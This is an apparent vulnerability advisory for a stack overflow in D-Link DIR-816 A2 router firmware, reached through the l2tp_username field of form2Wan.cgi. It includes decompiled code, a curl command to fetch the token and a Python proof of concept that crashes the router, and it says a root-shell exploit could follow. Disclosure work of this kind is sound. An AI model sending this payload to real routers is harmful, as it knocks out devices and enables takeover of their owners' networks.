D-link DIR-816 A2_v1.10CNB04.img Stack overflow vulnerability

Firmware information

- Manufacturer's address: <https://www.dlink.com/>
- Firmware download address : <http://tsd.dlink.com.tw/GPL.asp>

Affected version

DIR-816

Type	Firmware
Description	Firmware: DIR-816_A2_FW_v1.10 (for DCN)
Download	DIR-816_A2_FW_1.10CNB04_Release note.pdf DIR-816 A2_v1.10CNB04.img
Last modified	2017/03/23

The picture above shows the latest firmware for this version

Vulnerability details

```

152     }
153     }
154     return websRedirect(a1, "d_wan.asp");
155     case '3':
156         l2tp_server = websGetVar(a1, "l2tp_server", "");
157         v36 = websGetVar(a1, "l2tp_serverdns", "");
158         l2tp_username = websGetVar(a1, "l2tp_username", "");
159         l2tp_psword = websGetVar(a1, "l2tp_psword", "");
160         v39 = websGetVar(a1, "l2tp_mode", &word_4784D8);
161         v40 = websGetVar(a1, "l2tp_ipaddr", "");
162         v41 = websGetVar(a1, "l2tp_netmask", "");
163         v42 = websGetVar(a1, "l2tp_gateway", "");
164         v98 = websGetVar(a1, "dns_ctrl", "");
165         l2tp_username_len = strlen(l2tp_username);
166         websDecode64(v94, l2tp_username, l2tp_username_len);
167         l2tp_psword_len = strlen(l2tp_psword);
168         websDecode64(v95, l2tp_psword, l2tp_psword_len);
169         printf("l2tp_srv(%s) sdns(%s) user(%s) pass(%s) \r\n", l2tp_server, v36, v94, v95);
170         printf("mode(%s) ip(%s) nm(%s) gw(%s) \r\n", v39, v40, v41, v42);
171         nvram_bufset(0, &unk_4759E8, l2tp_server);
172         if ( strlen(v36) < 2 || !strcmp(v36, "0.0.0.0", 7) )
173         {
174             nvram_bufset(0, "wan_l2tp_use_dns", "");

```

Vulnerability occurs in /goform/form2Wan.cgi, When wantype is 3, l2tp_username will be decrypted by base64, and the result will be stored in v94, which does not check the size of l2tp_username, resulting in stack overflow

Poc

The first thing you need to do is to get the tokenid

```
curl http://192.168.0.1/dir_login.asp | grep tokenid
```

Then run the following poc

```
import requests
import base64

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

tokenid = 'xxxx'

url = 'http://192.168.0.1/goform/form2Wan.cgi'

payload = base64.b64encode(b'a' * 10000)

data = {
    'tokenid' : tokenid,
    'wantype' : '3',
    'l2tp_username' : payload,
    'l2tp_psword' : payload
}
response = requests.post(url, data=data)
response.encoding="utf-8"
info = response.text
li(url)
print(info)
```

You can see the router crash, and finally you can write an exp to get a root shell
